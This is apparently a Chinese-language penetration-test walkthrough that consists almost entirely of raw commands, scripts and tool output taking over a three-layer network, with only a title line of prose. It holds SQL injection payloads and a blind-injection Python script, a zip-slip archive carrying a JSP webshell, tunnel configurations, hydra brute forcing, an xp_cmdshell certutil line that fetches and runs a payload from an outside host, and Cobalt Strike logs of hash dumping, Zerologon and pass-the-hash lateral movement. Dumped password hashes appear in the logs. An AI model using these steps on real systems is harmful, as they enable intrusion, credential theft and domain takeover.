三层内网 外网打点到内网

masscan -p 1-65535 101.34.69.139 --rate=100 Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-04-30 17:08:09 GMTInitiating SYN Stealth ScanScanning 1 hosts [65535 ports/host]Discovered open port 110/tcp on 101.34.69.139                                  Discovered open port 3389/tcp on 101.34.69.139                                 Discovered open port 49671/tcp on 101.34.69.139                                Discovered open port 8088/tcp on 101.34.69.139                                 Discovered open port 49674/tcp on 101.34.69.139                                Discovered open port 49690/tcp on 101.34.69.139                                Discovered open port 49664/tcp on 101.34.69.139                                Discovered open port 25/tcp on 101.34.69.139                                   Discovered open port 7000/tcp on 101.34.69.139                                 Discovered open port 5985/tcp on 101.34.69.139                                 Discovered open port 49666/tcp on 101.34.69.139                                Discovered open port 8878/tcp on 101.34.69.139                                 Discovered open port 8899/tcp on 101.34.69.139                                 Discovered open port 49665/tcp on 101.34.69.139                                Discovered open port 47001/tcp on 101.34.69.139nmap -sV 101.34.69.139 -sC -p 8088,5985,49154,49173,80,8878,47001,7000,49153,49157,3389,49155,49152,8899,49161 -oN sec-portsStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-01 01:09 CSTNmap scan report for 101.34.69.139Host is up (0.049s latency).PORT      STATE    SERVICE          VERSION80/tcp    filtered http3389/tcp  open     ms-wbt-server    Microsoft Terminal Services5985/tcp  open     http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.07000/tcp  open     afs3-fileserver?|_irc-info: Unable to open connection8088/tcp  open     http             Apache Tomcat 8.5.768878/tcp  open     http             Apache Tomcat 8.5.7647001/tcp open     http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.049152/tcp filtered unknown49153/tcp filtered unknown49154/tcp filtered unknown49155/tcp filtered unknown49157/tcp filtered unknown49161/tcp filtered unknown49173/tcp filtered unknown

admin' or '1'='1 密码不正确admin' or '1'='2 用户名不存在

sqlmap -r sql.txt --dbms mysql -v 

#coding:utf-8import requestspassword=""url="http://101.34.69.139:8878/admin/login"payload="0123456789abcdefghijklmnopqrstuvwxyz"password=""for i in range(1,20):  for j in payload:    exp = "admin' and(select substring(password,%s,1) from Admin) like '%s'or '1'='" %(i,j)    print("正在注入")    data = {"admin.username": exp, "admin.password": 'aaaa', "type": 1}    req = requests.post(url=url, data=data);    if "密码不正确" in req.text:      password+=j      print(password)      breakprint(password)

GET /page.do?action=comm_news&act=list&classid=1 HTTP/1.1Host: 101.34.69.139:8088Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: _jspxcms=3d4ba33c9dfe44c88716325ad1a14c8b; JSESSIONID=3BAF8E4AE8A449DA05D8B0BA95559F2DConnection: close

[*] bank[*] information_schema[*] jspxcms[*] mysql[*] performance_schema[*] sys[*] tomexam

http://101.34.69.139:8088/action=comm_news&act=list&classid=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a706a71,0x465559697478496b4143484d6d686d796e526c4770695366795741526c5846664549487771594f6c,0x717a716a71),NULL,NULL,NULL,NULL,NULL--%20-

admin 51c52ae56562d8c538600385909595b009467f0b 9b2b38ad7cb62fd9

package com.jspxcms.core;import com.jspxcms.common.security.SHA1CredentialsDigest;import com.jspxcms.common.util.Encodes;import java.io.File;import java.io.FileReader;import java.io.FileWriter;import java.io.PrintWriter;import java.util.Scanner;public class Testmain {public static void main(String[] args)throws Exception {byte[] salt = Encodes.decodeHex("9b2b38ad7cb62fd9");SHA1CredentialsDigest test = new SHA1CredentialsDigest();String fileName = "D:\csdnpass.txt";String fileName2 = "D:\hashpassword2.txt";try (Scanner sc = new Scanner(new FileReader(fileName))) {while (sc.hasNextLine()) {String line = sc.nextLine();String encPass = test.digest(line, salt);File f = new File(fileName2);FileWriter fw = new FileWriter(f, true);PrintWriter pw = new PrintWriter(fw);pw.println(line + " " + encPass);pw.close();}}}}

jar -cf m.war m.jsp

import zipfilezip = zipfile.ZipFile("test.zip",'w',zipfile.ZIP_DEFLATED)with open("m.war","rb") as f:  data=f.read();zip.writestr("../../../m.war",data)zip.close()

[common]bind_port = 7000token=hk123

[common]server_addr = 114.55.119.127server_port = 7000token = hk123[msf]type = tcplocal_ip = 127.0.0.1local_port = 6666remote_port = 6666[cs]type = tcplocal_ip = 127.0.0.1local_port = 7777remote_port = 7777[socks_proxy]type = tcpremote_port = 8888plugin = socks5

sudo nohup ./teamserver 192.168.10.91 123

sudo vi /etc/proxychains4.confsocks4 127.0.0.1 3114

┌──(root㉿192)-[~]└─# proxychains4 nmap -sT -Pn 192.168.211.152 -p 445,80,135,8080,53,3306,1433,5900 --open[proxychains] config file found: /etc/proxychains4.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4[proxychains] DLL init: proxychains-ng 4.17Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-06 01:40 CST[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:8080 <--denied[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:53 <--denied[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:445  ...  OK[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:135  ...  OK[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:80 <--denied[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:3306 <--denied[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:5900 <--denied[proxychains] Strict chain  ...  127.0.0.1:1234  ...  192.168.211.152:1433  ...  OKNmap scan report for 192.168.211.152Host is up (1.5s latency).Not shown: 5 closed tcp ports (conn-refused)PORT     STATE SERVICE135/tcp  open  msrpc445/tcp  open  microsoft-ds1433/tcp open  ms-sql-sNmap done: 1 IP address (1 host up) scanned in 13.11 seconds

proxychains4 hydra -l sa -P password.txt 192.168.211.152 mssql -vV -f

 python mssqlclient.py sa@192.168.211.152Impacket v0.11.0 - Copyright 2023 FortraPassword:[*] Encryption required, switching to TLS[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: 简体中文[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192[*] INFO(SERVER2012): Line 1: 已将数据库上下文更改为 'master'。[*] INFO(SERVER2012): Line 1: 已将语言设置更改为 简体中文。[*] ACK: Result: 1 - Microsoft SQL Server (110 1256) [!] Press help for extra shell commandsSQL> help     lcd {path}                 - changes the current local directory to {path}     exit                       - terminates the server process (and this session)     enable_xp_cmdshell         - you know what it means     disable_xp_cmdshell        - you know what it means     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)     ! {cmd}                    - executes a local shell cmdSQL> enable_xp_cmdshell[*] INFO(SERVER2012): Line 185: 配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。[*] INFO(SERVER2012): Line 185: 配置选项 'xp_cmdshell' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。SQL> whoami[-] ERROR(SERVER2012): Line 1: 找不到存储过程 'whoami'。SQL> xp_cmdshell whoamioutput                   ----------------------   nt servicemssqlserver

xp_cmdshell certutil -urlcache -split -f http://101.34.69.139/artifact.exec:/windows/temp/artifact.exexp_cmdshell c:/windows/temp/artifact.exe

[05/07 22:02:11] beacon> hashdump[05/07 22:02:11] [*] Tasked beacon to dump hashes[05/07 22:03:05] [+] host called home, sent: 82541 bytes[05/07 22:03:06] [+] received password hashes:Administrator:500:aad3b435b51404eeaad3b435b51404ee:dbb228c4d6ceeea0590a5e4a45b1572c:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::[05/07 22:04:05] beacon> shell ipconfig[05/07 22:04:05] [*] Tasked beacon to run: ipconfig[05/07 22:04:06] [+] host called home, sent: 39 bytes[05/07 22:04:06] [+] received output:Windows IP 配置以太网适配器 Ethernet0:   连接特定的 DNS 后缀 . . . . . . . :    本地链接 IPv6 地址. . . . . . . . : fe80::d43b:bd4a:b226:e6ff%13   IPv4 地址 . . . . . . . . . . . . : 192.168.211.152   子网掩码  . . . . . . . . . . . . : 255.255.255.0   默认网关. . . . . . . . . . . . . : 192.168.211.2以太网适配器 Ethernet1:   连接特定的 DNS 后缀 . . . . . . . :    本地链接 IPv6 地址. . . . . . . . : fe80::889b:2cb3:dea2:8955%12   IPv4 地址 . . . . . . . . . . . . : 10.10.10.136   子网掩码  . . . . . . . . . . . . : 255.255.255.0   默认网关. . . . . . . . . . . . . : 隧道适配器 isatap.{DA985524-EF35-49FE-AEBA-7DA955A2E827}:   媒体状态  . . . . . . . . . . . . : 媒体已断开   连接特定的 DNS 后缀 . . . . . . . : 隧道适配器 isatap.{02FE46CD-303B-4117-9B93-884088B66D31}:   媒体状态  . . . . . . . . . . . . : 媒体已断开   连接特定的 DNS 后缀 . . . . . . . : [05/07 22:04:25] beacon> net dcliist[05/07 22:04:25] [-] net error: argument 'dcliist' is not a net command[05/07 22:04:41] beacon> shell net dclist[05/07 22:04:41] [*] Tasked beacon to run: net dclist[05/07 22:05:06] [+] host called home, sent: 41 bytes[05/07 22:05:06] [+] received output:此命令的语法是:NET    [ ACCOUNTS | COMPUTER | CONFIG | CONTINUE | FILE | GROUP | HELP |      HELPMSG | LOCALGROUP | PAUSE | SESSION | SHARE | START |      STATISTICS | STOP | TIME | USE | USER | VIEW ][05/07 22:05:10] beacon> net dclist[05/07 22:05:10] [*] Tasked beacon to run net dclist[05/07 22:06:06] [+] host called home, sent: 105059 bytes[05/07 22:06:08] [+] received output:DCs:[05/07 22:07:08] [+] received output: Server Name             IP Address                       Platform  Version  Type   Comment -----------             ----------                       --------  -------  ----   ------- AD01                    10.10.10.128                     500       6.3      PDC

beacon> execute-assembly SharpZeroLogon.exe ad01.sec123.cnk[*] Tasked beacon to run .NET program: SharpZeroLogon.exe ad01.sec123.cnk[+] host called home, sent: 114761 bytes[+] received output:Performing authentication attempts...=======================================================================================[+] received output:===Success! DC can be fully compromised by a Zerologon attack.xxxxxxxxxx beacon>execute-assembly SharpZeroLogon.exe ad01.sec123.cnk[*] Tasked beacon to run .NETprogram: SharpZeroLogon.exe ad01.sec123.cnk[+] host called home, sent: 114761bytes[+] received output:Performing authenticationattempts...=======================================================================================[+] received output:===Success! DC can be fully compromised bya Zerologon attack.execute-assembly SharpZeroLogon.exe ad01.sec123.cnk

 beacon> pth sec123administrator 81220c729f6ccb63d782a77007550f74[05/08 01:36:59] [*] Tasked beacon to run mimikatz's sekurlsa::pth /user:"administrator" /domain:"sec123" /ntlm:81220c729f6ccb63d782a77007550f74 /run:"%COMSPEC% /c echo 978cd6aa84e > \.pipebf58d2" command[05/08 01:36:59] [+] host called home, sent: 312974 bytes[05/08 01:37:04] [+] Impersonated sec123administrator[05/08 01:37:04] [+] received output:user  : administratordomain  : sec123program  : C:Windowssystem32cmd.exe /c echo 978cd6aa84e > \.pipebf58d2impers.  : noNTLM  : 81220c729f6ccb63d782a77007550f74  |  PID  276  |  TID  2544  |  LSA Process is now R/W  |  LUID 0 ; 1824650 (00000000:001bd78a)  _ msv1_0   - data copy @ 000000BCE8DBABC0 : OK !  _ kerberos - data copy @ 000000BCE8D43958   _ aes256_hmac       -> null                _ aes128_hmac       -> null                _ rc4_hmac_nt       OK   _ rc4_hmac_old      OK   _ rc4_md4           OK   _ rc4_hmac_nt_exp   OK   _ rc4_hmac_old_exp  OK   _ *Password replace @ 000000BCE8D8D8F8 (16) -> null[05/08 01:39:30] beacon> jump psexec64 10.10.10.139[05/08 01:39:34] [*] Tasked beacon to run windows/beacon_bind_tcp (0.0.0.0:6677) on 10.10.10.139 via Service Control Manager (\10.10.10.139ADMIN$600cf6d.exe)[05/08 01:39:34] [+] host called home, sent: 318754 bytes[05/08 01:39:37] [+] received output:Started service 600cf6d on 10.10.10.139[05/08 01:39:37] [+] host called home, sent: 23 bytes[05/08 01:39:37] [+] established link to child beacon: 10.10.10.139[05/08 01:39:37] beacon> sleep 0 [from: Beacon 10.10.10.139@3792][05/08 01:39:37] [*] Tasked beacon to become interactive[05/08 01:39:37] [+] host called home, sent: 28 bytes